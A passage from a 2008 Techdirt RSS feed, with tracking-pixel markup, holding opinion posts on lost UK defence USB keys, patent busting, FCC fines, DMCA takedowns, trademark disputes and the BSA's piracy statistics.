href="http://techdirt.com/article.php?sid=20080720/2011101740&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=11c28f5432829c3c6ad75a92f8c9aa41"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=11c28f5432829c3c6ad75a92f8c9aa41"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=11c28f5432829c3c6ad75a92f8c9aa41" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=MSnaBj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=MSnaBj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342228529" height="1" width="1"/> reality-tv-all-the-time http://techdirt.com/comment_rss.php?sid=20080720/2011101740 Mon, 21 Jul 2008 19:38:00 PST Why Are UK Defense Ministry Officials Carrying Classified Info On USB Keys? Michael Masnick http://techdirt.com/articles/20080718/1805551731.shtml http://techdirt.com/articles/20080718/1805551731.shtml Over in the UK, the Defense Ministry is admitting to the fact that <a href="http://news.bbc.co.uk/2/hi/uk_news/7514281.stm" target="_new">it's lost plenty of laptops with classified info on them</a>. That, alone, isn't really all that newsworthy, given how common it is for governments around the world to lose such things. What was more interesting was the admission that employees have also lost 26 portable memory sticks (USB keys) with classified info on them (out of a total of 131 memory sticks lost). Given just how easy it is to lose such USB keys, it makes you wonder why they would ever put classified info on them. One would hope that any such info would be encrypted, but the report doesn't seem to indicate one way or the other on that. <br /><br /> <a href="http://techdirt.com/articles/20080718/1805551731.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1805551731.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1805551731&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=4d92b116b415b90c32c09df8e9a9aa43" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=4d92b116b415b90c32c09df8e9a9aa43" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=Sitisj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=Sitisj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342140834" height="1" width="1"/> seems-like-a-reasonable-question http://techdirt.com/comment_rss.php?sid=20080718/1805551731 Mon, 21 Jul 2008 17:32:00 PST EFF Gets Another Victory Over Bogus Patents Michael Masnick http://techdirt.com/articles/20080718/1734411729.shtml http://techdirt.com/articles/20080718/1734411729.shtml It's been four years since the EFF <a href="http://www.techdirt.com/articles/20040630/0424218.shtml">first announced</a> its bogus patent busting project, where it lined up 10 awful patents that needed to be revoked. While it's taken some time, slowly but surely it's been winning each battle. Back in January, we noted another <a href="http://www.techdirt.com/articles/20071231/003833.shtml">win</a>, and now the EFF has <a href="http://www.eff.org/deeplinks/2008/07/u-s-patent-office-rejects-all-ninety-five-neomedia" target="_new">announced that the Patent Office has rejected all 95 claims</a> on a patent held by NeoMedia. The <a href="http://www.google.com/patents?id=g5IGAAAAEBAJ&#038;dq=6,199,048">patent in question</a> covers scanning a barcode and connecting it to a website to look up info about the product. The EFF presented a bunch of prior art that (of course) the Patent Office had failed to consider. This is just the preliminary rejection, so NeoMedia can (and probably will) respond -- but it's going to have to explain why not a single claim survived. <br /><br /> <a href="http://techdirt.com/articles/20080718/1734411729.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1734411729.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1734411729&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=f6e87cc6d7051257a9659f01052bcd09" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=f6e87cc6d7051257a9659f01052bcd09" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=i9ZLrj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=i9ZLrj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342042997" height="1" width="1"/> good-for-them http://techdirt.com/comment_rss.php?sid=20080718/1734411729 Mon, 21 Jul 2008 15:48:58 PST The FCC's Obscenity Malfunction Michael Masnick http://techdirt.com/articles/20080721/1422421746.shtml http://techdirt.com/articles/20080721/1422421746.shtml The FCC has a pretty spotty record when it comes to dealing with <a href="http://www.techdirt.com/articles/20060910/192931.shtml">indecency charges</a>. Basically, it seems to randomly fine stations if it receives enough complaints, even if most of those complaints come from auto-generated scripts from people who didn't actually see the content at all. Of course, perhaps the most highly publicized case where the FCC got involved over what it found to be indecent content was the infamous Janet Jackson Super Bowl wardrobe malfunction. However a court has now ruled that, rather than a wardrobe malfunction, the <a href="http://news.wired.com/dynamic/stories/C/CBS_JANET_JACKSON?SITE=WIRE&#038;SECTION=HOME&#038;TEMPLATE=DEFAULT&#038;CTIME=2008-07-21-10-55-24" target="_new">real malfunction was by the FCC</a>, which had changed its obscenity standards arbitrarily and with no explanation whatsoever in doling out fines over the incident. The court points out that the FCC is allowed to change its standards, but with an explanation and not so arbitrarily. In this case, though, it seemed clear that the response was politically motivated -- and the court has tossed out the fines. <br /><br /> <a href="http://techdirt.com/articles/20080721/1422421746.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080721/1422421746.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080721/1422421746&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=e6a21530d0c2998c1f36a9fd0953b944" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=e6a21530d0c2998c1f36a9fd0953b944" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=9coXRj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=9coXRj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341973984" height="1" width="1"/> arbitrariness-is-no-way-to-govern http://techdirt.com/comment_rss.php?sid=20080721/1422421746 Mon, 21 Jul 2008 14:08:00 PST Is Creating A Fake News Story Libel Or Copyright Infringement? Michael Masnick http://techdirt.com/articles/20080717/2000201718.shtml http://techdirt.com/articles/20080717/2000201718.shtml Creating fake news stories has a long history on the web. People do it all the time, usually for fun as something of a <a href="http://www.wired.com/culture/lifestyle/news/2003/02/57506">hoax</a>. Many of these stories pretend to be from respected news publications -- but to anyone beyond the most casual observer, it should be obvious that they're fakes, based on the fact that they're <i>not hosted</i> on the actual publications' website. However, that's apparently not enough for some. <a href="http://www.poynter.org/column.asp?id=45&#038;aid=147032">Romenesko</a> points out that the Oklahoma Publishing Company (publishers of The Oklahoman) and sports writer Jake Trotter are <a href="http://newsok.com/article/3270140" target="_new">suing a guy who wrote up a fake article (using Trotter's byline) and posted it on his own website</a>. The news report covering this is in the Oklahoman's own paper, so it doesn't share the guy's side. However, a look around various <a href="http://www.nebsports.com/2008/07/10/internet-hoax-about-two-oklahoma-players-backfires-on-husker-fan/">blogs</a> shows what you'd expect: he did it as a silly hoax because he's a fan of Nebraska's football team over Oklahoma's. So he created a silly fake news story about some Oklahoma players. Yes, it was stupid, but sports fans do plenty of stupid things against opposing teams. <br /><br /> There isn't <i>any</i> indication that anyone actually believed this fake story was true. It was only posted on a site whose domain was clearly someone rooting for the Nebraska Cornhuskers, rather than on the Oklahoman's actual website. It's difficult to see what sort of "damages" this story could have had on anyone. Yes, it was a stupid hoax stunt from an overly passionate fan, but suing him for libel, copyright infringement and trademark infringement seems like an even bigger overreaction in response. <br /><br /> <a href="http://techdirt.com/articles/20080717/2000201718.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080717/2000201718.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080717/2000201718&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=b511ea2cfff3c5efad1730d140daa13e"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=b511ea2cfff3c5efad1730d140daa13e"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=b511ea2cfff3c5efad1730d140daa13e" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=14NGpj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=14NGpj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341899842" height="1" width="1"/> seems-a-bit-questionable http://techdirt.com/comment_rss.php?sid=20080717/2000201718 Mon, 21 Jul 2008 12:36:00 PST Why Is Google Punishing Sites That Publish Full RSS Feeds? [UPDATED] Michael Masnick http://techdirt.com/articles/20080718/1717001728.shtml http://techdirt.com/articles/20080718/1717001728.shtml Last year, we explained why <a href="http://www.techdirt.com/articles/20070813/014338.shtml">full text RSS feeds make sense</a>. You can read the whole thing, but the short version is that it makes it easier to read, and that means more people actually read the full stories and are willing to discuss them, share them and get others interested in reading as well. It just makes the reading experience that much better. We've always had full text RSS feeds, and we're not about to change that. However, it appears that Google may be punishing sites that have full text feeds. A concerned reader pointed us to the news that the magazine Mental Floss has <a href="http://www.mentalfloss.com/blogs/archives/16543" target="_new">reluctantly ditched its full text feeds because Google banned the site</a> and told them the only way to get back in was to <i>get rid of the full text feeds</i>. <b>Update</b>: Matt Cutts from Google has <a href="http://techdirt.com/article.php?sid=20080718/1717001728#c38">responded in the comments</a> and explained what happened. Turns out, despite the original post, it had nothing to do with full text RSS feeds, but the site was hacked. I'm glad that's been cleared up now (and thanks to the multiple Google employees who quickly responded to this post). <br /><br /> <strike>The "problem," according to Google, was that there were plenty of sites republishing Mental Floss's feeds, and Google's anti-spam algorithm supposedly uses that as an indication of spam. Of course, rather than figuring out which is the <i>real</i> site, it simply bans them all. This concerns me for a variety of reasons. The reason we publish a full text RSS feed is to make it easier for anyone to do what they want with our content -- even if it's republishing it. There are a bunch of sites that republish our RSS feed (some in the <a href="http://www.techdirt.com/article.php?sid=20070412/183135#c612">mistaken belief</a> that such sites would get us upset at the "copyright infringement"). Those sites are harmless for the most part. Either they get no traffic at all, or they end up driving more traffic to us. That's great. But, it's a bit troublesome that Google might potentially disappear us from their entire index just because we publish a full text feed and someone else uses that feed exactly as they're supposed to. <br /><br /> I could understand if the deletion of Mental Floss from the index was simply a mistake, and upon being alerted to it, they restored the site. But the fact that Google's response was to tell Mental Floss to ditch the full text feeds is worrisome. What makes this even more ridiculous is that Feedburner, which is owned by Google, tells people <a href="http://www.problogger.net/archives/2007/09/12/full-or-partial-rss-feeds-the-great-feed-debate/">that full text feeds are better</a>. So, you have part of Google telling people to use full text feeds, and another part of Google punishing them for doing so.</strike> <br /><br /> <a href="http://techdirt.com/articles/20080718/1717001728.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1717001728.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1717001728&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=94170a0314a26ae2d5f70697baac173e" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=94170a0314a26ae2d5f70697baac173e" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=QAWUQj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=QAWUQj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341827412" height="1" width="1"/> not-good-at-all http://techdirt.com/comment_rss.php?sid=20080718/1717001728 Mon, 21 Jul 2008 11:01:00 PST How Would You Build Tomorrowland? Michael Masnick http://techdirt.com/articles/20080720/2252331743.shtml http://techdirt.com/articles/20080720/2252331743.shtml The Washington Post is running long look <a href="http://www.washingtonpost.com/wp-dyn/content/article/2008/07/18/AR2008071800837_pf.html" target="_new">at the relaunch of Disney's "Tomorrowland,"</a> that doesn't sound all that impressed. Actually, the article gets into the details of the original Tomorrowland and even dips into the way people viewed the future (optimistically/pessimistically) over the intervening years. However, the end result is that the concept of "Tomorrowland" is a rather difficult one to build. As the reporter notes, it has to be something that is far enough out that it actually doesn't need to be revamped all that often. But, at the same time, it still needs to be realistic in a way that people aspire to create themselves. All in all, it sounds like the latest Tomorrowland fails. But, it does raise a good question: if you were building Tomorrowland, what would you do? <br /><br /> <a href="http://techdirt.com/articles/20080720/2252331743.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080720/2252331743.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080720/2252331743&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=d6ebb609d97102094bbc8f412ef06763" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=d6ebb609d97102094bbc8f412ef06763" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=xcUxoj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=xcUxoj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341760989" height="1" width="1"/> or-would-you-build-it-at-all http://techdirt.com/comment_rss.php?sid=20080720/2252331743 Mon, 21 Jul 2008 09:35:00 PST American Airlines And Google Settle Keyword Advertising Spat Michael Masnick http://techdirt.com/articles/20080720/1929561737.shtml http://techdirt.com/articles/20080720/1929561737.shtml Despite lawsuit after lawsuit ruling <a href="http://www.techdirt.com/articles/20070108/002456.shtml">in favor</a> of Google whenever a company sued Google because one of their own competitors was buying keywords based on their trademarks, American Airlines <a href="http://www.techdirt.com/articles/20070817/021228.shtml">decided</a> to get in on the game as well. Since American Airlines was probably the biggest company to take on Google in this manner, some undoubtedly were hoping that it might actually be able to succeed. However, the two companies have now <a href="http://blog.ericgoldman.org/archives/2008/07/american_airlin_1.htm">settled the case</a>. And, while the terms of the deal remain secret, Eric Goldman checked the ads on Google and doesn't see anything that indicates that Google has changed its usual practice of allowing non-confusing ads. <br /><br /> In other words, it sounds like American Airlines lawyers finally looked at the details of earlier rulings and realized the company had close to no chance of winning this. A trademark does not give the holder complete control over the use of the word, and a competitor using the word for competitive advertising is completely legal, so long as they're not using it in a way that is likely to confuse a consumer. Even more important, if there's <i>any</i> liability, it should be on the other advertisers, not Google, which is merely the platform provider. <br /><br /> <a href="http://techdirt.com/articles/20080720/1929561737.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080720/1929561737.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080720/1929561737&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=38028ffa6c6da91857b1bd1e5f635732" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=38028ffa6c6da91857b1bd1e5f635732" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=yxeY9j"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=yxeY9j" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341691074" height="1" width="1"/> too-bad-it's-secret http://techdirt.com/comment_rss.php?sid=20080720/1929561737 Mon, 21 Jul 2008 08:03:00 PST Is Anonymity Good Or Bad For Wikipedia? Michael Masnick http://techdirt.com/articles/20080720/2035441742.shtml http://techdirt.com/articles/20080720/2035441742.shtml Last year plenty of attention was paid to the release of Wikiscanner, a tool from Virgil Griffith that connected the IP addresses of Wikipedia edits with the companies from which they came. This resulted in a few PR flare ups as people noticed some <a href="http://www.techdirt.com/articles/20070814/130237.shtml">questionable editing</a> by biased parties. Griffith has now <a href="http://www.forbes.com/technology/2008/07/19/security-hackers-internet-tech-cx_ag_0719wikiwatcher.html">upgraded Wikiscanner to do even more</a> (and renamed it to Wikiwatcher). While the revelations probably won't be as surprising, it will allow some way of connecting those who may have edited at home to their employers. <br /><br /> However, perhaps an even more interesting discussion is somewhat buried at the end of the Forbes article linked above: the question over whether or not anonymity is a good or bad thing for Wikipedia. The article quotes Marc Rotenberg, the director of the Electronic Privacy Information Center, complaining that Wikipedia needs to do a better job protecting individuals' privacy. Griffith responds that removing anonymity should improve the quality of Wikipedia: <blockquote><i> "I would say that if people are anonymous, the quality of their contribution is probably much lower. Wouldn't you want Wikipedia users to be held accountable for what they change?" </i></blockquote> This brings up a few interesting questions. Rotenberg's complaint seems misplaced. The fact that your IP address is revealed with each edit is a known fact. Anyone editing Wikipedia should take that into account. That's hardly Wikipedia's problem. But anonymity can also be an important factor in getting content out. And so far, it appears that all of the "scandals" associated with Wikiscanner were related to biased parties changing info in their favor -- which certainly suggests Giffith has a point: catching those who are changing Wikipedia with ulterior motives does seem to improve the reliability of the site. <br /><br /> <a href="http://techdirt.com/articles/20080720/2035441742.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080720/2035441742.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080720/2035441742&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=bfcf10ddb213f41a1633177ba86aba46"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=bfcf10ddb213f41a1633177ba86aba46"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=bfcf10ddb213f41a1633177ba86aba46" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=VWfElj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=VWfElj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341610326" height="1" width="1"/> depends-on-who-you-ask http://techdirt.com/comment_rss.php?sid=20080720/2035441742 Mon, 21 Jul 2008 06:21:00 PST Universal Says It Can Ignore Fair Use In DMCA Takedowns Michael Masnick http://techdirt.com/articles/20080720/2033251741.shtml http://techdirt.com/articles/20080720/2033251741.shtml Last year, we wrote about the <a href="http://www.techdirt.com/articles/20070725/224422.shtml">case</a> where Universal Music sent a takedown notice to YouTube when a woman posted a short (29-second) video of her toddler running around with a Prince song (barely audible) in the background. Universal backed down when challenged on the takedown notice, but the woman (with the help of the EFF) hit back and have sued Universal Music for a false takedown. <br /><br /> The DMCA has provisions for a copyright holder to assert ownership, at which point the service provider needs to takedown the content. Whoever posted the content can protest that the content was legally posted -- which is exactly what happened in this case. However, the DMCA also says that filing a false DMCA notice opens one up to damages from those whose content was taken down. This was in an effort to discourage false DMCA notices. This provision was used last year against Viacom for its <a href="http://www.techdirt.com/articles/20070322/200545.shtml">false takedowns</a> on satirical clips of the Colbert Report. <br /><br /> The question then, is whether or not filing a takedown notice on content that is used in a way consistent with "fair use" is a misuse or not. Universal Music's claim is that <a href="http://blog.wired.com/27bstroke6/2008/07/universal-says.html">it is not reasonable for the copyright holder to take fair use into consideration</a> before sending a takedown notice. At a first pass, it sounds like the <a href="http://www.sfgate.com/cgi- bin/article.cgi?f=/c/a/2008/07/19/BUDH11RKQ9.DTL">judge agrees</a>. <br /><br /> As ridiculous as this whole situation is, the judge and Universal Music may be correct under the existing law. There isn't anything in the law that says the copyright holder needs to take into account the user's defenses. It just says they need to be the legitimate copyright holder (which Universal Music is). <br /><br /> The real problem, then, in this story isn't Universal Music's actions (though Universal was acting in a rather heavy handed manner in getting the video taken down), but with the DMCA itself that forces a takedown before the user gets to respond with a defense. It's this "notice and takedown" provision that's a problem. If, instead, we had a "notice and notice" provision that allowed the user to respond before the takedown occurred, it would be a lot more reasonable and would avoid ridiculous situations such as this one. <br /><br /> <a href="http://techdirt.com/articles/20080720/2033251741.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080720/2033251741.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080720/2033251741&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=0243bb09add739bb04ef388bd44b91ec" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=0243bb09add739bb04ef388bd44b91ec" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=oJufXj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=oJufXj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341542789" height="1" width="1"/> and-it-might-be-right http://techdirt.com/comment_rss.php?sid=20080720/2033251741 Mon, 21 Jul 2008 04:11:00 PST I Don't Think It's Motorola's Trade Secrets That Have Made The iPhone A Success Michael Masnick http://techdirt.com/articles/20080718/1850451733.shtml http://techdirt.com/articles/20080718/1850451733.shtml Late Friday, the news broke that <a href="http://www.bloomberg.com/apps/news?pid=20601204&#038;sid=addkX1GCw6zw" target="_new">Motorola was suing a former sales executive</a> who had left Motorola and joined Apple in April. Motorola is claiming that he was sharing Motorola's trade secrets with Apple. Of course, given the directions both companies seem to be heading in with their mobile phone devices, one might think that the only "secrets" he might have shared from Motorola were about what <i>not</i> to do. In fact, it seems like a lot of Apple's success with the iPhone has been in ignoring many of the old rules. <br /><br /> <a href="http://techdirt.com/articles/20080718/1850451733.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1850451733.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1850451733&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=d63cda6f49ef920e90affba19ef59b3d" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=d63cda6f49ef920e90affba19ef59b3d" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=TgY9yj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=TgY9yj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341446565" height="1" width="1"/> let's-be-honest-here http://techdirt.com/comment_rss.php?sid=20080718/1850451733 Mon, 21 Jul 2008 01:18:09 PST MLB Threatens Guy Who Made A Cool iPhone App For Baseball Fans Michael Masnick http://techdirt.com/articles/20080718/1259201726.shtml http://techdirt.com/articles/20080718/1259201726.shtml It's really disappointing watching various sports leagues abuse intellectual property law over and over again. Perhaps the worst offender has been <a href="http://www.techdirt.com/search.php?site=&#038;q=mlb&#038;tid=&#038;aid=&#038;searchin=stories">Major League Baseball</a>. MLB wants people to think that it owns absolutely everything having to do with baseball, even though the courts have shot it down repeatedly. Even when it may be legally correct, its moves tend to do more to <i>harm</i> the game than to help it. It's as if MLB wants to keep shooting itself in the foot. The latest example was sent in by William Jackson, who points out that MLB is <a href="http://blogs.pcworld.com/staffblog/archives/007301.html" target="_new">threatening the guy who made a neat Baseball app for the iPhone</a>. <br /><br /> MLB has its own baseball app for the iPhone, which costs $5, that shows scores and highlights -- but this free app doesn't compete with that one. Instead, it's basically a baseball encyclopedia, allowing fans to look up all sorts of interesting historical stats and information. In other words, it's the sort of thing that helps fans feel even more connected to the game. So what does MLB do? It complains that the guy has the actual logos of Major League teams in the app. MLB argues that this is trademark infringement, but that's questionable. This is helping to <i>promote</i> those major league teams, not harm or dilute their brand in any way. <br /><br /> <a href="http://techdirt.com/articles/20080718/1259201726.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1259201726.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1259201726&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a3238e331e753b0db54a2faaf849de6d" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=a3238e331e753b0db54a2faaf849de6d" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=N4jKUj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=N4jKUj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/341342682" height="1" width="1"/> there's-thick-headed-and-then-there's-mlb http://techdirt.com/comment_rss.php?sid=20080718/1259201726 Fri, 18 Jul 2008 19:44:00 PST A Detailed Explanation Of How The BSA Misleads With Piracy Stats Michael Masnick http://techdirt.com/articles/20080718/1226541724.shtml http://techdirt.com/articles/20080718/1226541724.shtml A couple months ago, when the Business Software Alliance (BSA) released its latest stats on "piracy," it's VP of anti-piracy, Neil MacBride, gave me a <a href="http://www.techdirt.com/articles/20080514/1350531114.shtml">call</a> to discuss my earlier <a href="http://www.techdirt.com/articles/20070515/110016.shtml">complaints</a> about the organizations methodology. Needless to say, we did not see eye-to-eye, and the phone call did little to resolve our differences. I'm still hopeful that eventually the BSA will recognize that it's doing more damage to its own position by publishing obviously bogus numbers. So, with the organization releasing another bogus stat today, it's time to explain why it's wrong and misleading. <br /><br /> Today's report is an attempt to get the government involved in protecting BSA member companies' business model, by <a href="http://www.channelregister.co.uk/2008/07/18/bsa_us_states_piracy/" target="_new">claiming that the US is losing out on $1.7 billion in tax revenue</a> due to "pirated" software. And, of course, it comes with a lovely quote from Mr. MacBride: "The most tragic aspect is that the lost revenues to tech companies and local governments could be supporting thousands of good jobs and much-needed social services in our communities." And the BSA is even so kind as to quantify what that (not really) lost tax revenue could do: "For example, the lost tax revenues to state and local governments -- an estimated $1.7 billion -- would have been enough to build 100 middle schools or 10,831 affordable housing units; hire 24,395 experienced police officers; or purchase 6,335 propane-powered transit buses to reduce greenhouse gas emissions." <br /><br /> Except that this is almost entirely incorrect and it's relatively easy to show why: <ol> <li> The report counts every unauthorized piece of software as a lost sale. You have to dig through separate PDFs to find this info, but when you finally get to the methodology it states: <blockquote><i> The software losses are based on the piracy rate and equal the value of software installed not paid for. </i></blockquote> That's a huge, and obviously incorrect assumption. Many of the folks using the software likely would not have paid for it otherwise, or would have used cheaper or open source options instead. </li> <li> The report makes no effort to count the <i>positive</i> impact of unauthorized use of software in leading to future software sales. This is something that even Microsoft has <a href="http://articles.latimes.com/2006/apr/09/business/fi-micropiracy9">admitted</a> has helped the company grow over time. But according to the BSA's report, this doesn't matter. </li> <li> The report also proudly notes: "Software piracy also has ripple effects in local communities." However, "ripple effects" are easily disproved as <a href="http://techliberation.com/2006/10/01/texas-size-sophistry/">double or triple counting</a> the same dollar. Using ripple effects like that inflates the final number by two or three times. In the link here, Tim Lee explains this (in reference to an MPAA study done by IPI, but it applies here to the BSA study done by IDC as well): <blockquote><i> If a foreigner gives me $1, and I turn around and buy an apple from you for a dollar, and then you turn around and buy an orange from another friend for a dollar, we haven't thereby increased our national wealth by $3. At the beginning of the sequence, we have an apple and an orange. At the end, we have an apple, an orange, and a dollar. Difference: one dollar. No matter how many times that dollar changes hands, there's still only one dollar that wasn't there before. <br /><br /> Yet in IPI-land, when a movie studio makes $10 selling a DVD to a Canadian, and then gives $7 to the company that manufactured the DVD and $2 to the guy who shipped it to Canada, society has benefited by $10+$7+$2=$19. Yet some simple math shows that this is nonsense: the studio is $1 richer, the trucker is $2, and the manufacturer is $7. Shockingly enough, that adds up to $10. What each participant cares about is his profits, not his revenues. </i></blockquote> This is a huge fallacy that the BSA an IDC refuse to acknowledge. When I discussed it with them in May, they insisted that they only wanted to talk about piracy <i>rates</i>, not the loss number. I wonder why... </li> <li> Next, if they're going to count ripple effects in one direction, it's only fair to also count them in the other direction. That is, they complain that: <blockquote><i> Lost revenue to technology companies also puts a strain on their ability to invest in new jobs and new technologies. For example, the $11.4 billion in piracy losses to software vendors and service providers in the eight states would have been enough to fund more than 54,000 tech industry jobs. </i></blockquote> But what they don't acknowledge is the ripple effects in the other direction. That is, if (going by their assumption, remember) every company that uses an unauthorized copy of software had to pay for it, that would represent $11.4 billion in money that all of those other companies <i>could not</i> use to fund jobs at those companies. What about all of those jobs? </li> <li> The BSA/IDC stat on lost tax revenue also miscounts on the point above, since it includes the lost <i>income tax</i> revenue from those 54,000 lost jobs, but does not count the equivalent income tax revenue from those other jobs. In fact, in the fine print, the report notes: <blockquote><i> "Employment losses are calculated from revenue losses, and only apply to employment in the IT industry, not IT professionals in end-user organizations. Tax revenue losses are calculated from revenue losses (VAT and corporate income tax) and employment losses (income and social taxes)." </i></blockquote> In other words, the income tax losses only count one side of the equation and totally ignore the lost income tax revenue from the lost jobs on the other side of the equation. Oops. </li> <li> It seems likely that the eventual tax benefits of the unauthorized use of software is most likely to greatly outweigh the lost tax revenue elsewhere. That's because the use of software within industries is a productivity tool that increases overall productivity and output, which would increase taxes beyond just the income taxes of the employees. The study, of course, ignores this point. </li> <li> Worst of all, the report seems to assume that direct software sales are the only business model for the software industry, ignoring plenty of evidence from companies that have adopted business models that embrace free software -- generating billions of dollars for the economy (and in taxes). And that's what this really comes down to. It's a business model issue. If others started adopting these business models as well, there wouldn't be any "losses" at all. </li> </ol> Oh, and just for good measure, the report <i>also</i> falsely claims that: "What many don't realize or don't think about is that when you purchase software, you are actually purchasing a license to use it, not the actual software." That's not exactly true and goes directly against a <a 